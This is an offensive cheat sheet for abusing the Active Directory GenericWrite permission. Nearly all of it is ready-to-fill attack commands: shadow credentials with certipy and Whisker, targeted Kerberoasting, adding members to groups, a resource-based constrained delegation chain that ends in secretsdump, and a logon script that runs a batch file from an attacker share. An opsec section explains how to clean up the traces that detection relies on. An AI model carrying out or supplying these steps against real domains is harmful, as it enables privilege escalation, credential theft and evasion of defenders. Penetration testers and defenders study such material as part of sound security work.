GenericWrite

Source can write to any non-protected attribute on the target object

Applies to: User/Group/Computer β†’ User, Group, Computer


Linux Abuse

Target: User β€” shadow credentials (preferred, stealthy)

certipy-ad shadow auto -u <username>@<domain> -p '<password>' -account <target-user> -dc-ip <dc-ip>
# Outputs NT hash β€” use for PTH or request TGT

Target: User β€” targeted Kerberoast (write servicePrincipalName)

bloodyad -u <username> -p '<password>' -d <domain> --host <dc-ip> \
    set object <target-user> servicePrincipalName -v 'http/fake.corp.local'
GetUserSPNs.py <domain>/<username>:'<password>' -dc-ip <dc-ip> -request-user <target-user> -outputfile hash.txt
# Cleanup:
bloodyad -u <username> -p '<password>' -d <domain> --host <dc-ip> \
    remove object <target-user> servicePrincipalName -v 'http/fake.corp.local'

Target: User β€” write logon script

bloodyad -u <username> -p '<password>' -d <domain> --host <dc-ip> \
    set object <target-user> scriptPath -v '\\<attacker-ip>\share\evil.bat'

Target: Group β€” add member (write member attribute)

bloodyad -u <username> -p '<password>' -d <domain> --host <dc-ip> \
    add groupMember '<target-group>' '<username>'

Target: Computer β€” shadow credentials

certipy-ad shadow auto -u <username>@<domain> -p '<password>' -account <target-computer$> -dc-ip <dc-ip>

Target: Computer β€” RBCD (write msDS-AllowedToActOnBehalfOfOtherIdentity)

# 1. Create attacker computer account
addcomputer.py -computer-name 'ATTACKPC$' -computer-pass '<new-password>' -dc-ip <dc-ip> '<domain>/<username>:<password>'

# 2. Write RBCD attribute
rbcd.py -f ATTACKPC -t <target-computer> -dc-ip <dc-ip> '<domain>/<username>:<password>'

# 3. Impersonate admin
getST.py -spn cifs/<target-computer>.<domain> -impersonate Administrator -dc-ip <dc-ip> '<domain>/ATTACKPC$:<new-password>'
export KRB5CCNAME=Administrator@cifs_<target-computer>.<domain>@<domain>.ccache
secretsdump.py -k -no-pass <target-computer>.<domain>

Windows Abuse

Target: User β€” shadow credentials

# Whisker
Whisker.exe add /target:<target-user> /domain:<domain> /dc:<dc-ip>

Target: User β€” targeted Kerberoast

Set-DomainObject -Identity <target-user> -Set @{serviceprincipalname='http/fake'} -Credential $cred
Get-DomainSPNTicket -Identity <target-user> -OutputFormat Hashcat | Select-Object -Expand Hash
# Cleanup:
Set-DomainObject -Identity <target-user> -Clear serviceprincipalname -Credential $cred

Target: Group β€” add member

Add-DomainGroupMember -Identity '<target-group>' -Members '<username>' -Credential $cred

Target: Computer β€” RBCD

$AttackerSID = Get-DomainComputer 'ATTACKPC$' -Properties objectsid | Select -Expand objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$AttackerSID)"
$SDBytes = New-Object byte[] ($SD.BinaryLength); $SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer <target-computer> | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}

Rubeus β€” RBCD S4U2Self

Rubeus.exe s4u /user:ATTACKPC$ /rc4:<ntlm-hash> /impersonateuser:Administrator /msdsspn:cifs/<target-computer>.<domain> /nowrap

Opsec

  • SPN writes for Kerberoasting are logged (LDAP modify on target object); clean up the SPN after roasting
  • Shadow credentials (msDS-KeyCredentialLink write) leave an artifact in the attribute β€” clean with certipy-ad shadow clear